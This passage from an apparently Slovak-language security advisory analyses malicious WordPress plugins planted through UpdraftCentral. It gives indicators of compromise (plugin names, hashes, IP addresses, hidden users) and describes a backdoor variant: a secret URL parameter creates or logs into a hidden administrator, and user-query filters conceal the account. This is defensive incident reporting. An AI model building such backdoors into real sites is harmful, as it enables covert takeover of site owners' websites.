assets\/public.css<\/code>, assets\/public.js<\/code> a languages\/readme.txt<\/code> obsahuj\u00fa iba koment\u00e1r. Plugin ich nikde nepou\u017e\u00edva, s\u00fa tam, aby prie\u010dinok vyzeral ako skuto\u010dn\u00fd plugin.<\/li>\nuninstall.php<\/code> pri odin\u0161talovan\u00ed z administr\u00e1cie zma\u017ee vo\u013eby <slug>_sync_token<\/code> a <slug>_setup_stamp<\/code>, teda stopy po sebe. Druh\u00fa vo\u013ebu k\u00f3d nikde nevytv\u00e1ra, je to pozostatok \u0161abl\u00f3ny.<\/li>\n- Pri aktiv\u00e1cii ulo\u017e\u00ed token do vo\u013eby
<slug>_sync_token<\/code> bez automatick\u00e9ho na\u010d\u00edtania. K\u00f3d ju nikde ne\u010d\u00edta.<\/li>\n- Obe vzorky vyrobil ten ist\u00fd gener\u00e1tor. Ke\u010f v nich nahrad\u00edme n\u00e1zvy, tokeny, men\u00e1 a verzie z\u00e1stupn\u00fdmi re\u0165azcami, s\u00fa v\u0161etky s\u00fabory bajt po bajte zhodn\u00e9. N\u00e1zov m\u00e1 tvar
slovo-slovo-3 hex znaky<\/code>, parameter _<\/code> a 6 hex znakov, pou\u017e\u00edvate\u013e slovo-slovo<\/code> a dve \u010d\u00edslice. Token m\u00e1 32 znakov a heslo 22 znakov (p\u00edsmen\u00e1, \u010d\u00edslice, pod\u010diarkovn\u00edk).<\/li>\n<\/ul>\nIndik\u00e1tory kompromit\u00e1cie<\/h2>\n\n\n\n\n| Prie\u010dinok pluginu<\/td>\n | load-stack-35c<\/code><\/td>\ntext-gantry-eb0<\/code><\/td>\n<\/tr>\n\n| N\u00e1zov \/ autor \/ verzia<\/td>\n | Load Stack 35C \/ PixelBinder \/ 1.2.6<\/td>\n | Text Gantry Eb0 \/ Harbor Stack Labs \/ 3.9.5<\/td>\n<\/tr>\n | \n| Parameter v URL<\/td>\n | _9f5696<\/code><\/td>\n_3e9caa<\/code><\/td>\n<\/tr>\n\n| Pou\u017e\u00edvate\u013e<\/td>\n | data-ops43<\/code><\/td>\nmedia-staff96<\/code><\/td>\n<\/tr>\n\n| Vo\u013eba v datab\u00e1ze<\/td>\n | load_stack_35c_sync_token<\/code><\/td>\ntext_gantry_eb0_sync_token<\/code><\/td>\n<\/tr>\n\n| SHA-256 hlavn\u00e9ho s\u00faboru<\/td>\n | 3c3355f7692d4951e5655683783795579467c9bf1ae2152e13b8c80e9021209f<\/code><\/td>\nbb40f9a87cea678aa50e5286dd91c0903d6a7fc1b12391472187a0919b4d0801<\/code><\/td>\n<\/tr>\n\nSHA-256 uninstall.php<\/code><\/td>\n4186ae2aa0472a4e7929b21bb87f9b61866cb3790f69f4b6c9813e196955d5f0<\/code><\/td>\n4943fc21efa4b81516130f92bf4efe3b832e1bb69e499d2e42587233a0a005e9<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n\u010eal\u0161ie vzorky prv\u00e9ho variantu n\u00e1m poslali in\u00e9 obete a \u010fal\u0161ie n\u00e1zvy uv\u00e1dza Patchstack:<\/p>\n \nhero-frame-2c5<\/code>, autor \u201eCopperForge WP\u201c, pou\u017e\u00edvate\u013e s e-mailom render-build21@example.org<\/code>, SHA-256 hlavn\u00e9ho s\u00faboru a9b625496a8ec82862ded01900f720c28f111e624176df7e25be7331f22e4cc9<\/code>, uninstall.php<\/code> 325722876a5f8e184b88cf415900ab52c9103553bc4be502399a2272550f2111<\/code><\/li>\ncard-binder-104<\/code>, verzia 2.6.7, pou\u017e\u00edvate\u013e render.desk87<\/code><\/li>\n- pod\u013ea Patchstacku napr\u00edklad \u201eSite Health Cache\u201c, \u201eAsset Forge 2\u201c, \u201eContent Helper\u201c a \u201eWp Forge\u201c, spolu 99 n\u00e1zvov<\/li>\n<\/ul>\n
Spolo\u010dn\u00e9 znaky:<\/p>\n \n- IP adresy
43.250.53.42<\/code> a 2a09:bac5:4e21:2e3c::49b:9<\/code>, User-Agent presne WordPress\/6.4; class-udrpc.php<\/code>, po\u017eiadavka POST \/<\/code><\/li>\n- v logu UpdraftCentral sonda
probe.central.updraftplus.com<\/code> a o nieko\u013eko hod\u00edn Command received: plugin.upload_plugin<\/code><\/li>\n- popis pluginu \u201eSmall maintenance toolkit: keeps option storage tidy.\u201c<\/li>\n
- pou\u017e\u00edvate\u013e s e-mailom na
@example.org<\/code> a zobrazovan\u00fdm menom \u201eSite Tools\u201c, s rolou Editor a opr\u00e1vneniami manage_options<\/code> a install_plugins<\/code><\/li>\n- fat\u00e1lna chyba
Undefined constant <Trieda>::FIELD<\/code> a e-mail WordPressu o chybe v plugine, ktor\u00fd nepozn\u00e1te<\/li>\n<\/ul>\nDruh\u00fd variant: skryt\u00fd administr\u00e1tor<\/h2>\nTento variant sme sami neanalyzovali. Popis aj indik\u00e1tory n\u00e1m poslal spr\u00e1vca pribli\u017ene 145 webov, z ktor\u00fdch \u00fato\u010dn\u00edk napadol tri. Na jeden nahral variant op\u00edsan\u00fd vy\u0161\u0161ie, na dva \u010fal\u0161ie in\u00fd plugin. Patchstack tento variant vo svojej anal\u00fdze zatia\u013e neuv\u00e1dza.<\/p>\n \n- N\u00e1zvy: \u201eSrc Lab\u201c (
src-lab<\/code>, autor \u201eWPBridge\u201c, verzia 3.0.0) a \u201eRender Helper 232b\u201c (render-helper-232b<\/code>, verzia 3.7.9).<\/li>\n- Popis: \u201eImproves cron tasks efficiency for content sites with minimal overhead.\u201c Na zakrytie plugin naozaj prid\u00e1 denn\u00fd cron, ktor\u00fd ma\u017ee expirovan\u00e9 transienty, a filter pre jQuery na str\u00e1nkach AMP.<\/li>\n
- Sp\u00fa\u0161\u0165a\u010d: parameter s n\u00e1zvom z 12 hex znakov a 32-znakov\u00fd token, napr\u00edklad
?303541c9dfd0=\u2026&m=setup<\/code>. Re\u017eim m=setup<\/code> vytvor\u00ed administr\u00e1tora<\/strong> (napr\u00edklad cmseditor170@example.com<\/code> alebo web_mgr684@example.com<\/code>), re\u017eim m=svc<\/code> prihl\u00e1si n\u00e1v\u0161tevn\u00edka do tohto \u00fa\u010dtu. Bez parametra m<\/code> ho prihl\u00e1si ako prv\u00e9ho existuj\u00faceho administr\u00e1tora webu<\/strong>.<\/li>\n- ID vytvoren\u00e9ho \u00fa\u010dtu uklad\u00e1 do vo\u013eby
<slug>_uid<\/code>, napr\u00edklad src_lab_uid<\/code>.<\/li>\n- \u00da\u010det skr\u00fdva: h\u00e1\u010dik
pre_user_query<\/code> ho vyrad\u00ed zo zoznamu pou\u017e\u00edvate\u013eov a filter pre_count_users<\/code> zn\u00ed\u017ei po\u010det administr\u00e1torov o jedn\u00e9ho. V administr\u00e1cii ho teda neuvid\u00edte.<\/li>\n- Nem\u00e1
uninstall.php<\/code>. Pri deaktiv\u00e1cii zma\u017ee len vo\u013ebu <slug>_installed<\/code>.<\/li>\n- SHA-256
src-lab.php<\/code>: 59231b0e5004672b3058b47b4b4ff2b1fa89f1961bedf1741ba285e8adbe4928<\/code><\/li>\n- Doru\u010denie je rovnak\u00e9 ako pri prvom variante, cez sondu a
plugin.upload_plugin<\/code>, z IP 2a09:bac5:4e21:2e3c::49b:9<\/code> (src-lab 18. 10. 23:39 UTC, render-helper-232b 19. 10. 0:03 UTC).<\/li>\n<\/ul>\nSpr\u00e1vca neuv\u00e1dza, \u017ee by tento variant mal rovnak\u00fa chybu ako prv\u00fd, preto treba po\u010d\u00edta\u0165 s t\u00fdm, \u017ee funguje. Na jeho weboch ho \u00fato\u010dn\u00edk nepou\u017eil: nevznikla vo\u013eba _uid<\/code>, \u017eiadny \u00fa\u010det ani cudzia rel\u00e1cia.<\/p>\n | | | | | | | | | | | | |
|
|